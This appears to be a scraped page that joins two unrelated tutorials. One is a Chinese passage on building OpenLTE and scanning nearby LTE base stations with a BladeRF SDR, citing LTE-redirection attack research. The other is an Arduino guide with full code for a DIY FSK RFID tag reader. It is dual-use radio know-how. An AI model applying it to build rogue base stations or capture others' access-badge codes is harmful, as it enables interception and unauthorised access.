build-gnuradio ./build-gnuradio –v sudo apt-get install libpolarssl-dev 0×02 另辟蹊径 以上步骤所需依赖包较多,想偷懒的童鞋可以使用GnuRadio发布的Ubuntu LiveCD,里边已经搭建好了gnuradio、HackRF、BladeRF、USRP、gqrx、rtl-sdr等一些列SDR所需的依赖环境。使用这种方式可以避免安装系统环境中遇到的绝大多数坑。 下载链接:http://gnuradio.org/redmine/projects/gnuradio/wiki/GNURadioLiveDVD 2.1 编译OpenLTE (文件列表) wget http://ufpr.dl.sourceforge.net/project/openlte/openlte_v00-19-04.tgz //(目前最新版) tar zxvf openlte_v00-19-04.tgz cd openlte_v00-19-04/ mkdir build cd build sudo cmake ../ sudo make sudo make install 0×03 搜索附近基站 插入SDR设备,这里我使用了BladeRF(测试了一下HackRF也能使用,但由于HackRF采用USB 2.0传输数据,其效率会比BladeRF低很多,有条件的同学可以使用USRP): osmocom_fft --samp-rate 80000000 OpenLTE编译完成之后会在build目录下生成可执行文件: cd LTE_fdd_dl_scan ./LTE_fdd_dl_scan 新建一终端,通过Telnet进入OpenLTE工作终端交互界面: telnet 127.0.0.1 20000 telnet端执行start开始扫描: LTE_fdd_dl_scan将扫描dl_earfcn_list列表中的FCN值:从25到575 ARFCN:绝对无线频道编号 (Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案,相信嗅探过GSM短信的童鞋对它一点不陌生。4G LTE中ARFCN被称作EARFCN。 3.1 搜索电信FDD LTE网络:(telnet端) write band 1 help start 3.2 搜索联通FDD LTE网络:(telnet端) stop write band 3 start 3.3 关闭搜索:(telnet端) shutdown 3.4 移动、联通、电信TD-LTE频段与FDD-LTE部分频段: 0×04 结语 文章第一部分主要分享如何搭建OpenLTE并扫描附近基站信号,在后续的内容中将根据OpenLTE官方WIKI分享OpenLTE其他功能的使用。如LTE_fdd_enodeb的发卡,添加用户功能: 0×05 参考&感谢 Mobile Security: Practical attacks using cheap equipment 黄琳_HITB Paper:LTE REDIRECTION Forcing T argeted LTE Cellphone into Unsafe Network OpenLTE:sourceforge.net OpenLTE WIKI OpenLTE开源代码结构解析(一) OpenLTE开源代码结构解析(二) 基于开源SDR实现LTE系统对比 原帖地址:http://www.freebuf.com/articles/wireless/108417.html
This page describes the construction of an RFID reader using only an Arduino (Nano 3.0 was tested, but others may work), a hand-wound wire coil, and some assorted low cost common components. Credits The hardware and software designs for this project are based in part on the ideas, code and schematics posted by Micah Dowty here and Asher Glick here. Background RFID readers are devices sold by companies such as Parallax to read RFID tags with embedded identification circuits (we focus here on passive tags, activated by the reader's transmitted RF energy). The design presented here shows how to wind a simple wire loop by hand (or create an equivalent printed circuit spiral version), connect it to an Arduino (or its chip), add a few low cost common components and create your own RFID reader. To make it more interesting (i.e. challenging), we will focus on the FSK class of RFID tags, which are fairly common among the 125kHz devices, but for some reason are not supported by the Parallax kits. Micah Dowty has shown a design for an FSK/ASK RFID reader built around a Parallax Propeller device. His code, which is in assembly language, implements an ingenious (but complex) algorithm to create a dynamically variable analog bias voltage, which is used to pull the weak RFID signal into range, so it can be discriminated into binary signals by the Propeller's digital input circuitry. He also dynamically tweaks the transmit/receive RF frequency to keep the antenna's tank circuit in peak resonance for optimal signal to noise. There are three problems with his approach: first, the passive detection circuit lacks amplification, which makes it very sensitive to noise and therefore raises reliability issues. Second, the design is based on the Propeller chip, and if you are a fan of the Arduino and/or associated Atmel AVR chips, it leaves you out. And third, the dynamic slewing of frequencies and bias voltage is overly complicated, making it hard to debug. His general concept is attractive, however: use a microcontroller chip and wind your own wire loop to create, with some simple components and appropriate code, a complete DIY RFID reader. Asher Glick has presented a solution for reading and decoding FSK RFID tags using the Arduino/AVR family (which he calls AVRFID), which is good except it apparently requires obtaining and modifying an existing Parallax RFID reader device (which natively only supports ASK). Our goal here is to present a simple solution for reading FSK tags which addresses the above shortcomings: make it robust and reliable for real-world noise environments, base it on the Arduino, and build the RFID reader ourselves using a few simple low-cost parts, rather than buying and/or modifying one. Circuit Arduino DIY FSK-RFID circuit diagram: The circuit diagram above was derived from the "World's Simplest RFID Reader" design posted by Micah Dowty. Based on the Parallax Propeller, Micah's approach was to use passive components only, without amplification, in order to achieve the ultimate in simplicity. The lack of amplification, however, results in a weak signal, potentially less than 2V PTP. This signal is then biased by an analog level produced by the Propeller, to try to maintain the signal's DC level near the discrimination point of the Propeller's binary-digital input circuitry. His code attempts to dynamically calculate that optimal midpoint level, and feed it into the circuit using a filtered PWM DAC output. Since the signal is weak, it can be distorted by interference and noise, which results in reduced reliability. The circuit presented here includes (as Micah suggests in his documentation) one active component: a common low-cost LM234 quad-opamp IC (or equivalent). This addition provides several significant advantages, at a negligible cost. First, the signal is amplified (using one of the four opamps on the IC package) to a more noise-immune level (of 2-3 volts PTP). Second, the DC level of the signal is maintained at exactly Vcc/2 using another opamp on the IC, which eliminates the need for the DC propping code in the Arduino. Third, having the signal amplifier in place allows another low-pass RC filter stage (another capacitor and resistor), which makes the final discriminated digital signal cleaner and more reliable. The end result is a more robust detected signal with improved noise immunity. As a quick review of the circuit, the loop is made of a toroidally-wound #22-30 magnet wire (we used an empty roll of Scotch 3.25" I.D. packing tape as former), and can be remoted from the circuit if needed, via coaxial cable. The inductor L1 and capacitance C1 should be matched to resonate at around 125 kHz. When driven at its resonant frequency by the Arduino's 0-5 volt square wave signal, the center point of the resonator (which connects to D1's cathode) will have a fairly pure voltage sine wave, of about 30V PTP. When coupled to an RFID tag, the pure sine wave RF will fluctuate visibly as the tag opens and closes its own loop antenna to repeatedly transmit its code. This modulation is then detected from the RF envelope by D1, C2 and R1, which produce a negative bias voltage with the small detected coded signal, e.g. about 11 RF cycles per coded cycle. The coded cycles are of two different wave lengths (or frequencies), which represent streams of logic ones and zeros, and they need to arrive at the Arduino chip as binary levels which can be timed reasonably accurately so as to reliably tell the difference between the two distinct frequencies. The relatively large capacitor C3 decouples the negative bias voltage from the signal, and is followed by a low-pass RC filter stage (R2 and C4) which attenuates some of the residual RF spikes from the lower frequency coded RFID signal. Capacitor C5 decouples the resulting signal and presents it to the amplification stage, implemented by the LM324 opamp, IC1. The latter amplifies the weak signal from about .15V to about 3V PTP (depending of the ratio of R4 to R3), and places it on top of a Vcc/2 bias voltage, about 2.5V in the arduino's case. This signal is then fed into one of the digital input ports on the Arduino (which also includes some helpful hysteresis), and is discriminated by the internal comparator into a square wave of ones and zeroes. Software The Arduino sketch, derived from the code posted by Asher Glick, uses a single timer channel in the Arduino (using the Timer1 library) for both RF signal generation as well as timing clock to count the width of each input signal wave. There are two distinct cycle lengths in the detected input signal, "long" and "short", corresponding to logical ones and zeroes, respectively. A binary stream of stretches of repeated ones and zeroes is assembled, and then decimated into the original coded bits on the RFID tag, after decoding the Manchester encoding. Here is the actual code: /* Arduino program for DIY FSK RFID Reader * See description and circuit diagram at http://playground.arduino.cc/Main/DIYRFIDReader * Tested on Arduino Nano and several FSK RFID tags * Hardware/Software design is based on and derived from: * Arduino/Timer1 library example * June 2008 | jesse dot tane at gmail dot com * AsherGlick: / AVRFID https://github.com/AsherGlick/AVRFID * Micah Dowty: * http://forums.parallax.com/showthread.php?105889-World-s-simplest-RFID-reader * * Copyright (C) 2011 by edude/Arduino Forum This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "TimerOne.h" int ledPin = 13; // LED connected to digital pin 13 int inPin = 7; // sensing digital pin 7 int val; int bitlenctr = 0; int curState = 0; #define maxBuf 1000 //reduce to 100 or so for debugging #define debug 0 char raw[maxBuf]; int index = 0; int bufnum = 0; #define redLED 12 #define grnLED 11 void setup() { Serial.begin(9600); Timer1.initialize(7); // initialize timer1, and set the frequency; this drives both the LC tank as well as the pulse timing clock // note: modify this as needed to achieve resonance and good match with the desired tags // the argument value is in microseconds per RF cycle, so 8us will yield RF of 125kHz, 7us --> 143kHz, etc. Timer1.pwm(9, 512); // setup pwm on pin 9, 50% duty cycle Timer1.attachInterrupt(callback); // attaches callback() as a timer overflow interrupt, once per RF cycle pinMode(ledPin, OUTPUT); // sets the digital pin 13 as output for scope monitoring pinMode(inPin, INPUT); // sets the digital pin 7 as input to sense receiver input signal pinMode(grnLED, OUTPUT); pinMode(redLED, OUTPUT); digitalWrite(grnLED, 0); digitalWrite(redLED, 1); } void callback() { val = digitalRead(inPin); digitalWrite(ledPin, val); // for monitoring bitlenctr++; if(val != curState) { // got a transition curState = val; if(val == 1) { // got a start of cycle (low to high transition) if(index < maxBuf) { raw[index++] = bitlenctr; } bitlenctr = 1; } } } void loop() { if(index >= maxBuf) { Serial.print("got buf num: "); Serial.println(bufnum); if(debug) { for(int i = 0; i < maxBuf; i++) { Serial.print((int)raw[i]); Serial.print("/"); } Serial.println("///raw data"); delay(2000); } // analyze this buffer // first convert pulse durations into raw bits int tot1 = 0; int tot0 = 0; int tote = 0; int totp = 0; raw[0] = 0; for(int i = 1; i < maxBuf; i++) { int v = raw[i]; if(v == 4) { raw[i] = 0; tot0++; } else if(v == 5) { raw[i] = raw[i - 1]; totp++; } else if(v == 6 || v == 7) { raw[i] = 1; tot1++; } else { raw[i] = 101; // error code tote++; } } // next, search for a "start tag" of 15 high bits in a row int samecnt = 0; int start = -1; int lastv = 0; for(int i = 0; i < maxBuf; i++) { if(raw[i] == lastv) { // inside one same bit pattern, keep scanning samecnt++; } else { // got new bit pattern if(samecnt >= 15 && lastv == 1) { // got a start tag prefix, record index and exit start = i; break; } // either group of 0s, or fewer than 15 1s, so not a valid tag, keep scanning samecnt = 1; lastv = raw[i]; } } // if a valid prefix tag was found, process the buffer if(start > 0 && start < (maxBuf - 5*90)) { //adjust to allow room for full dataset past start point process_buf(start); } else { Serial.println("no valid data found in buffer"); } if(debug) { for(int i = 0; i < maxBuf; i++) { Serial.print((int)raw[i]); Serial.print("/"); } Serial.print("///\nbuffer stats: zeroes:"); Serial.print(tot0); Serial.print("/ones:"); Serial.print(tot1); Serial.print("/prevs:"); Serial.print(totp); Serial.print("/errs:"); Serial.println(tote); delay(1000); } // start new buffer, reset all parameters bufnum++; curState = 0; index = 0; } else { delay(5); } } // process an input buffer with a valid start tag // start argument is index to first 0 bit past prefix tag of 15+ ones void process_buf(int start) { // first convert multi bit codes (11111100000...) into manchester bit codes int lastv = 0; int samecnt = 0; char manch[91]; char final[45]; int manchindex = 0; Serial.println("got a valid prefix, processing data buffer..."); for(int i = start + 1; i < maxBuf && manchindex < 90; i++) { if(raw[i] == lastv) { samecnt++; } else { // got a new bit value, process the last group if(samecnt >= 3 && samecnt <= 8) { manch[manchindex++] = lastv; } else if(samecnt >= 9 && samecnt <= 14) { // assume a double bit, so record as two separate bits manch[manchindex++] = lastv; manch[manchindex++] = lastv; } else if(samecnt >= 15 && lastv == 0) { Serial.println("got end tag"); // got an end tag, exit break; } else { // last bit group was either too long or too short Serial.print("****got bad bit pattern in buffer, count: "); Serial.print(samecnt); Serial.print(", value: "); Serial.println(lastv); err_flash(3); return; } samecnt = 1; lastv = raw[i]; } //new bit pattern } Serial.println("converting manchester code to binary..."); // got manchester version, convert to final bits for(int i = 0, findex = 0; i < 90; i += 2, findex++) { if(manch[i] == 1 && manch[i+1] == 0) { final[findex] = 1; } else if(manch[i] == 0 && manch[i+1] == 1) { final[findex] = 0; } else { // invalid manchester code, exit Serial.println("****got invalid manchester code"); err_flash(3); return; } } // convert bits 28 thru 28+16 into a 16 bit integer int code = 0; int par = 0; for(int i = 28, k = 15; i < 28+16; i++, k--) { code |= (int)final[i] << k; } int paritybit = final[28+16]; for(int i = 0; i < 45; i++) { par ^= final[i]; } if(par) { Serial.print("got valid code: "); Serial.println((unsigned int)code); // do something here with the detected code... // // digitalWrite(redLED, 0); digitalWrite(grnLED, 1); delay(2000); digitalWrite(grnLED, 0); digitalWrite(redLED, 1); } else { Serial.println("****parity error for retrieved code"); err_flash(3); } } // flash red for duration seconds void err_flash(int duration) { return; for(int i = 0; i < duration*10; i++) { digitalWrite(redLED, 0); delay(50); digitalWrite(redLED, 1); delay(50); } } Status The device and transceiver antenna have been built and tested on multiple FSK RFID tags of various kinds, in breadboard and soldered perfboard versions, connected to remote and local probes. When the probe is properly tuned, the device can reliably detect FSK RFID tags within a range of 0 to at least 2 inches from the coil, although it may be possible that this can be extended with larger coil sizes and/or other optimizations. The circuit has also been simulated on Spice, as described below. Spice simulation LTspiceIV simulated waveforms of FSK RFID reader plus transponder tag: As seen in the LTspiceIV screenshot above, the circuit (with a passive virtual ground reference - see note below) was simulated on a computer, and the results confirmed the essential design, closely replicating the waveforms actually seen on the oscilloscope. The RFID transponder tag was simulated as a coupled transformer winding with a resonantly tuned capacitor, shunted to ground by a square-wave signal. The RFID tag's ground is connected to the main circuit's ground for simulation purposes. The inductive coupling between the two "transformer windings" is a variable which can be changed in LTspice, and was varied for testing between 1 and 0.01 (0.015 is shown in the waveforms above), equivalent to having the RFID tag positioned at different distances from the reader coil. Notes The Vcc/2 virtual ground voltage for IC1's non-inverting input can also be taken directly from the midpoint of the 100K voltage divider resistors, bypassing the second opamp. In such a case, the divider's midpoint should be connected to pin3 of IC1 via a 1M resistor. References LM324 Quad Operational Amplifier datasheet TI application note for single supply opamp use World's simplest RFID reader Arduino Nano description and specs App note for EM4095 IC (this IC officially supports only ASK mode, but much of the analysis is also relevant for FSK) Generic info about capacitors and bypass/decoupling Generic info about filter design 原帖连接:http://playground.arduino.cc/Main/DIYRFIDReader